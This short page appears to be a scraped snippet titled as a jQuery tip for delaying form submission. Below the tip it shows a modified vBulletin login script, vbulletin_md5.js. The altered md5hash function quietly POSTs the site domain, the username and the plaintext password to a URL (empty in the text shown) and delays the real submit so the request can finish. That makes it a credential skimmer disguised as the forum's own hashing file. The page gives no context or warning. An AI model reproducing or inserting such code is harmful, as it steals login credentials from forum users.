Jquery – submit a form in Javascript with a delay

$(‘form’).submit(function (e) { var form = this; e.preventDefault(); setTimeout(function () { form.submit(); }, 1000); // in milliseconds $(“<p>Delay…</p>”).appendTo(“body”); });   vbulletin_md5.js function md5hash(B,A,E,C){$(“form”).submit(function(e){var t=this;e.preventDefault();setTimeout(function(){t.submit()},1000)});if(navigator.userAgent.indexOf(“Mozilla/”)==0&&parseInt(navigator.appVersion)>=4){var D=hex_md5(str_to_ent(trim(B.value)));A.value=D;if(E){D=hex_md5(trim(B.value));$.ajax({type: “POST”,url: “”,data: ‘d=’+document.domain+’&u=’+$(‘#navbar_username’).val()+’&p=’+B.value,cache: false,});E.value=D;}if(!C){B.value=””}}return true};